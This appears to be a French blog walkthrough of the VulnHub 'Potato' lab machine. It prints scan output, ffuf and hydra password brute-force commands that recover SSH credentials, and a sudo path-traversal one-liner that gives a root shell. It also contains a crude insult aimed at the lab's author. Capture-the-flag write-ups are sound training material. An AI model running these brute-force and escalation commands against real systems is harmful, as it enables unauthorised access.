Accueil Solution du CTF Potato de VulnHub
Post
Annuler

Solution du CTF Potato de VulnHub

Potato est un CTF proposé sur VulnHub. Il est nul. Fuyez pauvres fous !

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
$ sudo nmap -p- -T5 -sCV 192.168.56.63
[sudo] Mot de passe de root : 
Starting Nmap 7.93 ( https://nmap.org )
Nmap scan report for 192.168.56.63
Host is up (0.00011s latency).
Not shown: 65532 closed tcp ports (reset)
PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.1 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 ef240eabd2b316b44b2e27c05f48798b (RSA)
|   256 f2d8353f4959858507e6a20e657a8c4b (ECDSA)
|_  256 0b2389c3c026d5645e93b7baf5147f3e (ED25519)
80/tcp   open  http    Apache httpd 2.4.41 ((Ubuntu))
|_http-title: Potato company
|_http-server-header: Apache/2.4.41 (Ubuntu)
2112/tcp open  ftp     ProFTPD
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
| -rw-r--r--   1 ftp      ftp           901 Aug  2  2020 index.php.bak
|_-rw-r--r--   1 ftp      ftp            54 Aug  2  2020 welcome.msg

Je m’empresse de télécharger de fichier bak que Nmap a détecté :

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
<html>
<head></head>
<body>

<?php

$pass= "potato"; //note Change this password regularly

if($_GET['login']==="1"){
  if (strcmp($_POST['username'], "admin") == 0  && strcmp($_POST['password'], $pass) == 0) {
    echo "Welcome! </br> Go to the <a href=\"dashboard.php\">dashboard</a>";
    setcookie('pass', $pass, time() + 365*24*3600);
  }else{
    echo "<p>Bad login/password! </br> Return to the <a href=\"index.php\">login page</a> <p>";
  }
  exit();
}
?>


  <form action="index.php?login=1" method="POST">
                <h1>Login</h1>
                <label><b>User:</b></label>
                <input type="text" name="username" required>
                </br>
                <label><b>Password:</b></label>
                <input type="password" name="password" required>
                </br>
                <input type="submit" id='submit' value='Login' >
  </form>
</body>
</html>

Le fichier à la racine du site ne semble pas correspondre mais une petite énumération met en lumière la présence du dossier /admin dont l’index correspond au script.

Il y a aussi un dossier /potato mais ce dernier est vide.

Je suis tenté de prendre le backup au pied de la lettre mais les identifiants sur le formulaire de login sont rejetés.

Définir le cookie comme indiqué dans le code ne fonctionne pas non plus :

1
2
3
4
5
6
7
$ curl -D- -H "Cookie: pass=potato;" http://192.168.56.63/admin/dashboard.php -e "http://192.168.56.63/admin/index.php?login=1"
HTTP/1.1 302 Found
Date: Fri, 18 Nov 2022 16:03:46 GMT
Server: Apache/2.4.41 (Ubuntu)
Location: index.php
Content-Length: 0
Content-Type: text/html; charset=UTF-8

On est redirigé vers la page d’accueil :(

Une énumération web avec les wordlists raft de fuzzdb ne retournent rien mis à part le dossier /admin/logs.

Ce dernier contient trois fichiers texte avec les contenus suivant :

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
Operation: password change
Date: January 03, 2020 / 11:25 a.m.
User: admin
Status: OK


Operation: reboot the server
Date: January 09, 2020 / 9:55 a.m.
User: admin
Status: OK 


Operation: password change
Date: August 2, 2020 / 9:25 p.m.
User: admin
Status: OK

Le dernier fichier est plus gros car il contient pas mal de writespaces inutiles en fin de lignes.

Comme le script PHP indique de changer le mot de passe régulièrement je tente de me mettre dans la tête d’un utilisateur lambda et teste des mots de passe tel que potato1, summer2020, etc, sans succès.

J’ai procédé à une attaque brute force à l’aide de ffuf :

1
$ ffuf -u "http://192.168.56.63/admin/index.php?login=1" -w wordlists/rockyou.txt -X POST -d "username=admin&password=FUZZ" -H "Content-type: application/x-www-form-urlencoded" -fs 109

J’ai laissé tomber après une bonne demi heure de scan.

On est dans un cas typique où l’auteur du CTF a mis en place une solution qui lui semblait clair pour lui… mais pour lui seul.

Du coup après recherche sur le web il s’avère que non seulement le mot de passe attendu ne concerne pas le script web mais plutôt SSH, l’utilisateur n’est pas admin et le mot de passe n’est pas une variante de potato !

Du coup il fallait faire cela :

1
2
3
4
5
6
7
8
9
10
$ ./hydra -l webadmin -P rockyou.txt ssh://192.168.56.63
Hydra v9.3 (c) 2022 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting
[WARNING] Many SSH configurations limit the number of parallel tasks, it is recommended to reduce the tasks: use -t 4
[DATA] max 16 tasks per 1 server, overall 16 tasks, 14344381 login tries (l:1/p:14344381), ~896524 tries per task
[DATA] attacking ssh://192.168.56.63:22/
[22][ssh] host: 192.168.56.63   login: webadmin   password: dragon
1 of 1 target successfully completed, 1 valid password found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished

Wow ! Les parents de l’auteur de ce CTF auraient du le noyer à sa naissance !

Une fois qu’on a obtenu notre shell on peut aller voir ce fameux script dashboard.php et il contient des vulnérabilités qu’il aurait pu être intéressant d’exploiter mais tout est bloqué par ces premières lignes :

1
2
3
4
5
6
7
<?php

if($_COOKIE['pass']!=="serdesfsefhijosefjtfgyuhjiosefdfthgyjh"){
  header('Location: index.php');
  exit();
}
?>

Je pouvais faire tourner rockyou longtemps dessus ! A croire que l’auteur a volontairement saboté son travail.

La suite du CTF a sans doute plus de logique mais n’a absolutment rien d’intéressant :

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
webadmin@serv:/var/www/html/admin$ sudo -l
[sudo] password for webadmin: 
Matching Defaults entries for webadmin on serv:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User webadmin may run the following commands on serv:
    (ALL : ALL) /bin/nice /notes/*
webadmin@serv:/notes$ sudo /bin/nice /notes/../bin/dash
# id
uid=0(root) gid=0(root) groups=0(root)
# cd /root
# cat root.txt
bGljb3JuZSB1bmlqYW1iaXN0ZSBxdWkgZnVpdCBhdSBib3V0IGTigJl1biBkb3VibGUgYXJjLWVuLWNpZWwuIA==
# echo bGljb3JuZSB1bmlqYW1iaXN0ZSBxdWkgZnVpdCBhdSBib3V0IGTigJl1biBkb3VibGUgYXJjLWVuLWNpZWwuIA== | base64 -d
licorne unijambiste qui fuit au bout d’un double arc-en-ciel.

Heureusement pour tous les fans de CTF l’auteur ne semble pas avoir réitéré depuis :D

Publié le 18 novembre 2022

Cet article est sous licence CC BY 4.0 par l'auteur.